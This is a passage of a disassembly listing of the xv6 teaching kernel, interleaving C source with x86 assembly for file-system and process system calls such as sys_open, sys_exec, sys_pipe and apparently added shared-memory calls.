80104c82: 00 80104c83: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104c8a: 00 80104c8b: 89 34 24 mov %esi,(%esp) 80104c8e: e8 fd f5 ff ff call 80104290 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104c93: 8b 45 c4 mov -0x3c(%ebp),%eax 80104c96: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104c9d: 00 80104c9e: 89 74 24 04 mov %esi,0x4(%esp) 80104ca2: 89 44 24 08 mov %eax,0x8(%esp) 80104ca6: 8b 45 b4 mov -0x4c(%ebp),%eax 80104ca9: 89 04 24 mov %eax,(%esp) 80104cac: e8 bf cd ff ff call 80101a70 <writei> 80104cb1: 83 f8 10 cmp $0x10,%eax 80104cb4: 0f 85 cf 00 00 00 jne 80104d89 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104cba: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104cbf: 0f 84 a3 00 00 00 je 80104d68 <sys_unlink+0x1a8> iunlockput(dp); 80104cc5: 8b 45 b4 mov -0x4c(%ebp),%eax 80104cc8: 89 04 24 mov %eax,(%esp) 80104ccb: e8 50 cc ff ff call 80101920 <iunlockput> ip->nlink--; 80104cd0: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104cd5: 89 1c 24 mov %ebx,(%esp) 80104cd8: e8 23 c9 ff ff call 80101600 <iupdate> iunlockput(ip); 80104cdd: 89 1c 24 mov %ebx,(%esp) 80104ce0: e8 3b cc ff ff call 80101920 <iunlockput> end_op(); 80104ce5: e8 a6 de ff ff call 80102b90 <end_op> } 80104cea: 83 c4 5c add $0x5c,%esp return 0; 80104ced: 31 c0 xor %eax,%eax } 80104cef: 5b pop %ebx 80104cf0: 5e pop %esi 80104cf1: 5f pop %edi 80104cf2: 5d pop %ebp 80104cf3: c3 ret 80104cf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104cf8: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104cfc: 0f 86 79 ff ff ff jbe 80104c7b <sys_unlink+0xbb> 80104d02: bf 20 00 00 00 mov $0x20,%edi 80104d07: eb 15 jmp 80104d1e <sys_unlink+0x15e> 80104d09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104d10: 8d 57 10 lea 0x10(%edi),%edx 80104d13: 3b 53 58 cmp 0x58(%ebx),%edx 80104d16: 0f 83 5f ff ff ff jae 80104c7b <sys_unlink+0xbb> 80104d1c: 89 d7 mov %edx,%edi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104d1e: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104d25: 00 80104d26: 89 7c 24 08 mov %edi,0x8(%esp) 80104d2a: 89 74 24 04 mov %esi,0x4(%esp) 80104d2e: 89 1c 24 mov %ebx,(%esp) 80104d31: e8 3a cc ff ff call 80101970 <readi> 80104d36: 83 f8 10 cmp $0x10,%eax 80104d39: 75 42 jne 80104d7d <sys_unlink+0x1bd> if(de.inum != 0) 80104d3b: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104d40: 74 ce je 80104d10 <sys_unlink+0x150> iunlockput(ip); 80104d42: 89 1c 24 mov %ebx,(%esp) 80104d45: e8 d6 cb ff ff call 80101920 <iunlockput> iunlockput(dp); 80104d4a: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d4d: 89 04 24 mov %eax,(%esp) 80104d50: e8 cb cb ff ff call 80101920 <iunlockput> end_op(); 80104d55: e8 36 de ff ff call 80102b90 <end_op> } 80104d5a: 83 c4 5c add $0x5c,%esp return -1; 80104d5d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d62: 5b pop %ebx 80104d63: 5e pop %esi 80104d64: 5f pop %edi 80104d65: 5d pop %ebp 80104d66: c3 ret 80104d67: 90 nop dp->nlink--; 80104d68: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d6b: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104d70: 89 04 24 mov %eax,(%esp) 80104d73: e8 88 c8 ff ff call 80101600 <iupdate> 80104d78: e9 48 ff ff ff jmp 80104cc5 <sys_unlink+0x105> panic("isdirempty: readi"); 80104d7d: c7 04 24 20 76 10 80 movl $0x80107620,(%esp) 80104d84: e8 d7 b5 ff ff call 80100360 <panic> panic("unlink: writei"); 80104d89: c7 04 24 32 76 10 80 movl $0x80107632,(%esp) 80104d90: e8 cb b5 ff ff call 80100360 <panic> panic("unlink: nlink < 1"); 80104d95: c7 04 24 0e 76 10 80 movl $0x8010760e,(%esp) 80104d9c: e8 bf b5 ff ff call 80100360 <panic> 80104da1: eb 0d jmp 80104db0 <sys_open> 80104da3: 90 nop 80104da4: 90 nop 80104da5: 90 nop 80104da6: 90 nop 80104da7: 90 nop 80104da8: 90 nop 80104da9: 90 nop 80104daa: 90 nop 80104dab: 90 nop 80104dac: 90 nop 80104dad: 90 nop 80104dae: 90 nop 80104daf: 90 nop 80104db0 <sys_open>: int sys_open(void) { 80104db0: 55 push %ebp 80104db1: 89 e5 mov %esp,%ebp 80104db3: 57 push %edi 80104db4: 56 push %esi 80104db5: 53 push %ebx 80104db6: 83 ec 2c sub $0x2c,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80104db9: 8d 45 e0 lea -0x20(%ebp),%eax 80104dbc: 89 44 24 04 mov %eax,0x4(%esp) 80104dc0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104dc7: e8 44 f8 ff ff call 80104610 <argstr> 80104dcc: 85 c0 test %eax,%eax 80104dce: 0f 88 d1 00 00 00 js 80104ea5 <sys_open+0xf5> 80104dd4: 8d 45 e4 lea -0x1c(%ebp),%eax 80104dd7: 89 44 24 04 mov %eax,0x4(%esp) 80104ddb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104de2: e8 99 f7 ff ff call 80104580 <argint> 80104de7: 85 c0 test %eax,%eax 80104de9: 0f 88 b6 00 00 00 js 80104ea5 <sys_open+0xf5> return -1; begin_op(); 80104def: e8 2c dd ff ff call 80102b20 <begin_op> if(omode & O_CREATE){ 80104df4: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80104df8: 0f 85 82 00 00 00 jne 80104e80 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80104dfe: 8b 45 e0 mov -0x20(%ebp),%eax 80104e01: 89 04 24 mov %eax,(%esp) 80104e04: e8 07 d1 ff ff call 80101f10 <namei> 80104e09: 85 c0 test %eax,%eax 80104e0b: 89 c6 mov %eax,%esi 80104e0d: 0f 84 8d 00 00 00 je 80104ea0 <sys_open+0xf0> end_op(); return -1; } ilock(ip); 80104e13: 89 04 24 mov %eax,(%esp) 80104e16: e8 a5 c8 ff ff call 801016c0 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80104e1b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80104e20: 0f 84 92 00 00 00 je 80104eb8 <sys_open+0x108> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80104e26: e8 45 bf ff ff call 80100d70 <filealloc> 80104e2b: 85 c0 test %eax,%eax 80104e2d: 89 c3 mov %eax,%ebx 80104e2f: 0f 84 93 00 00 00 je 80104ec8 <sys_open+0x118> 80104e35: e8 86 f8 ff ff call 801046c0 <fdalloc> 80104e3a: 85 c0 test %eax,%eax 80104e3c: 89 c7 mov %eax,%edi 80104e3e: 0f 88 94 00 00 00 js 80104ed8 <sys_open+0x128> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80104e44: 89 34 24 mov %esi,(%esp) 80104e47: e8 54 c9 ff ff call 801017a0 <iunlock> end_op(); 80104e4c: e8 3f dd ff ff call 80102b90 <end_op> f->type = FD_INODE; 80104e51: c7 03 02 00 00 00 movl $0x2,(%ebx) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104e57: 8b 45 e4 mov -0x1c(%ebp),%eax f->ip = ip; 80104e5a: 89 73 10 mov %esi,0x10(%ebx) f->off = 0; 80104e5d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) f->readable = !(omode & O_WRONLY); 80104e64: 89 c2 mov %eax,%edx 80104e66: 83 e2 01 and $0x1,%edx 80104e69: 83 f2 01 xor $0x1,%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e6c: a8 03 test $0x3,%al f->readable = !(omode & O_WRONLY); 80104e6e: 88 53 08 mov %dl,0x8(%ebx) return fd; 80104e71: 89 f8 mov %edi,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e73: 0f 95 43 09 setne 0x9(%ebx) } 80104e77: 83 c4 2c add $0x2c,%esp 80104e7a: 5b pop %ebx 80104e7b: 5e pop %esi 80104e7c: 5f pop %edi 80104e7d: 5d pop %ebp 80104e7e: c3 ret 80104e7f: 90 nop ip = create(path, T_FILE, 0, 0); 80104e80: 8b 45 e0 mov -0x20(%ebp),%eax 80104e83: 31 c9 xor %ecx,%ecx 80104e85: ba 02 00 00 00 mov $0x2,%edx 80104e8a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104e91: e8 6a f8 ff ff call 80104700 <create> if(ip == 0){ 80104e96: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80104e98: 89 c6 mov %eax,%esi if(ip == 0){ 80104e9a: 75 8a jne 80104e26 <sys_open+0x76> 80104e9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80104ea0: e8 eb dc ff ff call 80102b90 <end_op> } 80104ea5: 83 c4 2c add $0x2c,%esp return -1; 80104ea8: b8 ff ff ff ff mov $0xffffffff,%eax } 80104ead: 5b pop %ebx 80104eae: 5e pop %esi 80104eaf: 5f pop %edi 80104eb0: 5d pop %ebp 80104eb1: c3 ret 80104eb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 80104eb8: 8b 45 e4 mov -0x1c(%ebp),%eax 80104ebb: 85 c0 test %eax,%eax 80104ebd: 0f 84 63 ff ff ff je 80104e26 <sys_open+0x76> 80104ec3: 90 nop 80104ec4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iunlockput(ip); 80104ec8: 89 34 24 mov %esi,(%esp) 80104ecb: e8 50 ca ff ff call 80101920 <iunlockput> 80104ed0: eb ce jmp 80104ea0 <sys_open+0xf0> 80104ed2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(f); 80104ed8: 89 1c 24 mov %ebx,(%esp) 80104edb: e8 50 bf ff ff call 80100e30 <fileclose> 80104ee0: eb e6 jmp 80104ec8 <sys_open+0x118> 80104ee2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ee9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ef0 <sys_mkdir>: int sys_mkdir(void) { 80104ef0: 55 push %ebp 80104ef1: 89 e5 mov %esp,%ebp 80104ef3: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80104ef6: e8 25 dc ff ff call 80102b20 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80104efb: 8d 45 f4 lea -0xc(%ebp),%eax 80104efe: 89 44 24 04 mov %eax,0x4(%esp) 80104f02: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f09: e8 02 f7 ff ff call 80104610 <argstr> 80104f0e: 85 c0 test %eax,%eax 80104f10: 78 2e js 80104f40 <sys_mkdir+0x50> 80104f12: 8b 45 f4 mov -0xc(%ebp),%eax 80104f15: 31 c9 xor %ecx,%ecx 80104f17: ba 01 00 00 00 mov $0x1,%edx 80104f1c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f23: e8 d8 f7 ff ff call 80104700 <create> 80104f28: 85 c0 test %eax,%eax 80104f2a: 74 14 je 80104f40 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 80104f2c: 89 04 24 mov %eax,(%esp) 80104f2f: e8 ec c9 ff ff call 80101920 <iunlockput> end_op(); 80104f34: e8 57 dc ff ff call 80102b90 <end_op> return 0; 80104f39: 31 c0 xor %eax,%eax } 80104f3b: c9 leave 80104f3c: c3 ret 80104f3d: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104f40: e8 4b dc ff ff call 80102b90 <end_op> return -1; 80104f45: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f4a: c9 leave 80104f4b: c3 ret 80104f4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f50 <sys_mknod>: int sys_mknod(void) { 80104f50: 55 push %ebp 80104f51: 89 e5 mov %esp,%ebp 80104f53: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80104f56: e8 c5 db ff ff call 80102b20 <begin_op> if((argstr(0, &path)) < 0 || 80104f5b: 8d 45 ec lea -0x14(%ebp),%eax 80104f5e: 89 44 24 04 mov %eax,0x4(%esp) 80104f62: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f69: e8 a2 f6 ff ff call 80104610 <argstr> 80104f6e: 85 c0 test %eax,%eax 80104f70: 78 5e js 80104fd0 <sys_mknod+0x80> argint(1, &major) < 0 || 80104f72: 8d 45 f0 lea -0x10(%ebp),%eax 80104f75: 89 44 24 04 mov %eax,0x4(%esp) 80104f79: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104f80: e8 fb f5 ff ff call 80104580 <argint> if((argstr(0, &path)) < 0 || 80104f85: 85 c0 test %eax,%eax 80104f87: 78 47 js 80104fd0 <sys_mknod+0x80> argint(2, &minor) < 0 || 80104f89: 8d 45 f4 lea -0xc(%ebp),%eax 80104f8c: 89 44 24 04 mov %eax,0x4(%esp) 80104f90: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104f97: e8 e4 f5 ff ff call 80104580 <argint> argint(1, &major) < 0 || 80104f9c: 85 c0 test %eax,%eax 80104f9e: 78 30 js 80104fd0 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 80104fa0: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 80104fa4: ba 03 00 00 00 mov $0x3,%edx (ip = create(path, T_DEV, major, minor)) == 0){ 80104fa9: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80104fad: 89 04 24 mov %eax,(%esp) argint(2, &minor) < 0 || 80104fb0: 8b 45 ec mov -0x14(%ebp),%eax 80104fb3: e8 48 f7 ff ff call 80104700 <create> 80104fb8: 85 c0 test %eax,%eax 80104fba: 74 14 je 80104fd0 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 80104fbc: 89 04 24 mov %eax,(%esp) 80104fbf: e8 5c c9 ff ff call 80101920 <iunlockput> end_op(); 80104fc4: e8 c7 db ff ff call 80102b90 <end_op> return 0; 80104fc9: 31 c0 xor %eax,%eax } 80104fcb: c9 leave 80104fcc: c3 ret 80104fcd: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104fd0: e8 bb db ff ff call 80102b90 <end_op> return -1; 80104fd5: b8 ff ff ff ff mov $0xffffffff,%eax } 80104fda: c9 leave 80104fdb: c3 ret 80104fdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104fe0 <sys_chdir>: int sys_chdir(void) { 80104fe0: 55 push %ebp 80104fe1: 89 e5 mov %esp,%ebp 80104fe3: 56 push %esi 80104fe4: 53 push %ebx 80104fe5: 83 ec 20 sub $0x20,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80104fe8: e8 c3 e6 ff ff call 801036b0 <myproc> 80104fed: 89 c6 mov %eax,%esi begin_op(); 80104fef: e8 2c db ff ff call 80102b20 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80104ff4: 8d 45 f4 lea -0xc(%ebp),%eax 80104ff7: 89 44 24 04 mov %eax,0x4(%esp) 80104ffb: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105002: e8 09 f6 ff ff call 80104610 <argstr> 80105007: 85 c0 test %eax,%eax 80105009: 78 4a js 80105055 <sys_chdir+0x75> 8010500b: 8b 45 f4 mov -0xc(%ebp),%eax 8010500e: 89 04 24 mov %eax,(%esp) 80105011: e8 fa ce ff ff call 80101f10 <namei> 80105016: 85 c0 test %eax,%eax 80105018: 89 c3 mov %eax,%ebx 8010501a: 74 39 je 80105055 <sys_chdir+0x75> end_op(); return -1; } ilock(ip); 8010501c: 89 04 24 mov %eax,(%esp) 8010501f: e8 9c c6 ff ff call 801016c0 <ilock> if(ip->type != T_DIR){ 80105024: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) iunlockput(ip); 80105029: 89 1c 24 mov %ebx,(%esp) if(ip->type != T_DIR){ 8010502c: 75 22 jne 80105050 <sys_chdir+0x70> end_op(); return -1; } iunlock(ip); 8010502e: e8 6d c7 ff ff call 801017a0 <iunlock> iput(curproc->cwd); 80105033: 8b 46 68 mov 0x68(%esi),%eax 80105036: 89 04 24 mov %eax,(%esp) 80105039: e8 a2 c7 ff ff call 801017e0 <iput> end_op(); 8010503e: e8 4d db ff ff call 80102b90 <end_op> curproc->cwd = ip; return 0; 80105043: 31 c0 xor %eax,%eax curproc->cwd = ip; 80105045: 89 5e 68 mov %ebx,0x68(%esi) } 80105048: 83 c4 20 add $0x20,%esp 8010504b: 5b pop %ebx 8010504c: 5e pop %esi 8010504d: 5d pop %ebp 8010504e: c3 ret 8010504f: 90 nop iunlockput(ip); 80105050: e8 cb c8 ff ff call 80101920 <iunlockput> end_op(); 80105055: e8 36 db ff ff call 80102b90 <end_op> } 8010505a: 83 c4 20 add $0x20,%esp return -1; 8010505d: b8 ff ff ff ff mov $0xffffffff,%eax } 80105062: 5b pop %ebx 80105063: 5e pop %esi 80105064: 5d pop %ebp 80105065: c3 ret 80105066: 8d 76 00 lea 0x0(%esi),%esi 80105069: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105070 <sys_exec>: int sys_exec(void) { 80105070: 55 push %ebp 80105071: 89 e5 mov %esp,%ebp 80105073: 57 push %edi 80105074: 56 push %esi 80105075: 53 push %ebx 80105076: 81 ec ac 00 00 00 sub $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 8010507c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax 80105082: 89 44 24 04 mov %eax,0x4(%esp) 80105086: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010508d: e8 7e f5 ff ff call 80104610 <argstr> 80105092: 85 c0 test %eax,%eax 80105094: 0f 88 84 00 00 00 js 8010511e <sys_exec+0xae> 8010509a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 801050a0: 89 44 24 04 mov %eax,0x4(%esp) 801050a4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801050ab: e8 d0 f4 ff ff call 80104580 <argint> 801050b0: 85 c0 test %eax,%eax 801050b2: 78 6a js 8010511e <sys_exec+0xae> return -1; } memset(argv, 0, sizeof(argv)); 801050b4: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 801050ba: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 801050bc: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 801050c3: 00 801050c4: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 801050ca: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801050d1: 00 801050d2: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 801050d8: 89 04 24 mov %eax,(%esp) 801050db: e8 b0 f1 ff ff call 80104290 <memset> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 801050e0: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 801050e6: 89 7c 24 04 mov %edi,0x4(%esp) 801050ea: 8d 04 98 lea (%eax,%ebx,4),%eax 801050ed: 89 04 24 mov %eax,(%esp) 801050f0: e8 eb f3 ff ff call 801044e0 <fetchint> 801050f5: 85 c0 test %eax,%eax 801050f7: 78 25 js 8010511e <sys_exec+0xae> return -1; if(uarg == 0){ 801050f9: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801050ff: 85 c0 test %eax,%eax 80105101: 74 2d je 80105130 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80105103: 89 74 24 04 mov %esi,0x4(%esp) 80105107: 89 04 24 mov %eax,(%esp) 8010510a: e8 11 f4 ff ff call 80104520 <fetchstr> 8010510f: 85 c0 test %eax,%eax 80105111: 78 0b js 8010511e <sys_exec+0xae> for(i=0;; i++){ 80105113: 83 c3 01 add $0x1,%ebx 80105116: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 80105119: 83 fb 20 cmp $0x20,%ebx 8010511c: 75 c2 jne 801050e0 <sys_exec+0x70> return -1; } return exec(path, argv); } 8010511e: 81 c4 ac 00 00 00 add $0xac,%esp return -1; 80105124: b8 ff ff ff ff mov $0xffffffff,%eax } 80105129: 5b pop %ebx 8010512a: 5e pop %esi 8010512b: 5f pop %edi 8010512c: 5d pop %ebp 8010512d: c3 ret 8010512e: 66 90 xchg %ax,%ax return exec(path, argv); 80105130: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105136: 89 44 24 04 mov %eax,0x4(%esp) 8010513a: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax argv[i] = 0; 80105140: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105147: 00 00 00 00 return exec(path, argv); 8010514b: 89 04 24 mov %eax,(%esp) 8010514e: e8 4d b8 ff ff call 801009a0 <exec> } 80105153: 81 c4 ac 00 00 00 add $0xac,%esp 80105159: 5b pop %ebx 8010515a: 5e pop %esi 8010515b: 5f pop %edi 8010515c: 5d pop %ebp 8010515d: c3 ret 8010515e: 66 90 xchg %ax,%ax 80105160 <sys_pipe>: int sys_pipe(void) { 80105160: 55 push %ebp 80105161: 89 e5 mov %esp,%ebp 80105163: 53 push %ebx 80105164: 83 ec 24 sub $0x24,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105167: 8d 45 ec lea -0x14(%ebp),%eax 8010516a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 80105171: 00 80105172: 89 44 24 04 mov %eax,0x4(%esp) 80105176: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010517d: e8 2e f4 ff ff call 801045b0 <argptr> 80105182: 85 c0 test %eax,%eax 80105184: 78 6d js 801051f3 <sys_pipe+0x93> return -1; if(pipealloc(&rf, &wf) < 0) 80105186: 8d 45 f4 lea -0xc(%ebp),%eax 80105189: 89 44 24 04 mov %eax,0x4(%esp) 8010518d: 8d 45 f0 lea -0x10(%ebp),%eax 80105190: 89 04 24 mov %eax,(%esp) 80105193: e8 e8 df ff ff call 80103180 <pipealloc> 80105198: 85 c0 test %eax,%eax 8010519a: 78 57 js 801051f3 <sys_pipe+0x93> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 8010519c: 8b 45 f0 mov -0x10(%ebp),%eax 8010519f: e8 1c f5 ff ff call 801046c0 <fdalloc> 801051a4: 85 c0 test %eax,%eax 801051a6: 89 c3 mov %eax,%ebx 801051a8: 78 33 js 801051dd <sys_pipe+0x7d> 801051aa: 8b 45 f4 mov -0xc(%ebp),%eax 801051ad: e8 0e f5 ff ff call 801046c0 <fdalloc> 801051b2: 85 c0 test %eax,%eax 801051b4: 78 1a js 801051d0 <sys_pipe+0x70> myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 801051b6: 8b 55 ec mov -0x14(%ebp),%edx 801051b9: 89 1a mov %ebx,(%edx) fd[1] = fd1; 801051bb: 8b 55 ec mov -0x14(%ebp),%edx 801051be: 89 42 04 mov %eax,0x4(%edx) return 0; } 801051c1: 83 c4 24 add $0x24,%esp return 0; 801051c4: 31 c0 xor %eax,%eax } 801051c6: 5b pop %ebx 801051c7: 5d pop %ebp 801051c8: c3 ret 801051c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 801051d0: e8 db e4 ff ff call 801036b0 <myproc> 801051d5: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4) 801051dc: 00 fileclose(rf); 801051dd: 8b 45 f0 mov -0x10(%ebp),%eax 801051e0: 89 04 24 mov %eax,(%esp) 801051e3: e8 48 bc ff ff call 80100e30 <fileclose> fileclose(wf); 801051e8: 8b 45 f4 mov -0xc(%ebp),%eax 801051eb: 89 04 24 mov %eax,(%esp) 801051ee: e8 3d bc ff ff call 80100e30 <fileclose> } 801051f3: 83 c4 24 add $0x24,%esp return -1; 801051f6: b8 ff ff ff ff mov $0xffffffff,%eax } 801051fb: 5b pop %ebx 801051fc: 5d pop %ebp 801051fd: c3 ret 801051fe: 66 90 xchg %ax,%ax 80105200 <sys_shm_open>: #include "param.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" int sys_shm_open(void) { 80105200: 55 push %ebp 80105201: 89 e5 mov %esp,%ebp 80105203: 83 ec 28 sub $0x28,%esp int id; char **pointer; if(argint(0, &id) < 0) 80105206: 8d 45 f0 lea -0x10(%ebp),%eax 80105209: 89 44 24 04 mov %eax,0x4(%esp) 8010520d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105214: e8 67 f3 ff ff call 80104580 <argint> 80105219: 85 c0 test %eax,%eax 8010521b: 78 33 js 80105250 <sys_shm_open+0x50> return -1; if(argptr(1, (char **) (&pointer),4)<0) 8010521d: 8d 45 f4 lea -0xc(%ebp),%eax 80105220: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80105227: 00 80105228: 89 44 24 04 mov %eax,0x4(%esp) 8010522c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80105233: e8 78 f3 ff ff call 801045b0 <argptr> 80105238: 85 c0 test %eax,%eax 8010523a: 78 14 js 80105250 <sys_shm_open+0x50> return -1; return shm_open(id, pointer); 8010523c: 8b 45 f4 mov -0xc(%ebp),%eax 8010523f: 89 44 24 04 mov %eax,0x4(%esp) 80105243: 8b 45 f0 mov -0x10(%ebp),%eax 80105246: 89 04 24 mov %eax,(%esp) 80105249: e8 a2 1a 00 00 call 80106cf0 <shm_open> } 8010524e: c9 leave 8010524f: c3 ret return -1; 80105250: b8 ff ff ff ff mov $0xffffffff,%eax } 80105255: c9 leave 80105256: c3 ret 80105257: 89 f6 mov %esi,%esi 80105259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105260 <sys_shm_close>: int sys_shm_close(void) { 80105260: 55 push %ebp 80105261: 89 e5 mov %esp,%ebp 80105263: 83 ec 28 sub $0x28,%esp int id; if(argint(0, &id) < 0) 80105266: 8d 45 f4 lea -0xc(%ebp),%eax 80105269: 89 44 24 04 mov %eax,0x4(%esp) 8010526d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105274: e8 07 f3 ff ff call 80104580 <argint> 80105279: 85 c0 test %eax,%eax 8010527b: 78 13 js 80105290 <sys_shm_close+0x30> return -1; return shm_close(id); 8010527d: 8b 45 f4 mov -0xc(%ebp),%eax 80105280: 89 04 24 mov %eax,(%esp) 80105283: e8 a8 1b 00 00 call 80106e30 <shm_close> } 80105288: c9 leave 80105289: c3 ret 8010528a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80105290: b8 ff ff ff ff mov $0xffffffff,%eax } 80105295: c9 leave 80105296: c3 ret 80105297: 89 f6 mov %esi,%esi 80105299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052a0 <sys_fork>: int sys_fork(void) { 801052a0: 55 push %ebp 801052a1: 89 e5 mov %esp,%ebp return fork(); } 801052a3: 5d pop %ebp return fork(); 801052a4: e9 b7 e5 ff ff jmp 80103860 <fork> 801052a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801052b0 <sys_exit>: int sys_exit(void) { 801052b0: 55 push %ebp 801052b1: 89 e5 mov %esp,%ebp 801052b3: 83 ec 08 sub $0x8,%esp exit(); 801052b6: e8 f5 e7 ff ff call 80103ab0 <exit> return 0; // not reached } 801052bb: 31 c0 xor %eax,%eax 801052bd: c9 leave 801052be: c3 ret 801052bf: 90 nop 801052c0 <sys_wait>: int sys_wait(void) { 801052c0: 55 push %ebp 801052c1: 89 e5 mov %esp,%ebp return wait(); } 801052c3: 5d pop %ebp return wait(); 801052c4: e9 f7 e9 ff ff jmp 80103cc0 <wait> 801052c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801052d0 <sys_kill>: int sys_kill(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 83 ec 28 sub $0x28,%esp int pid; if(argint(0, &pid) < 0) 801052d6: 8d 45 f4 lea -0xc(%ebp),%eax 801052d9: 89 44 24 04 mov %eax,0x4(%esp) 801052dd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052e4: e8 97 f2 ff ff call 80104580 <argint> 801052e9: 85 c0 test %eax,%eax 801052eb: 78 13 js 80105300 <sys_kill+0x30> return -1; return kill(pid); 801052ed: 8b 45 f4 mov -0xc(%ebp),%eax 801052f0: 89 04 24 mov %eax,(%esp) 801052f3: e8 08 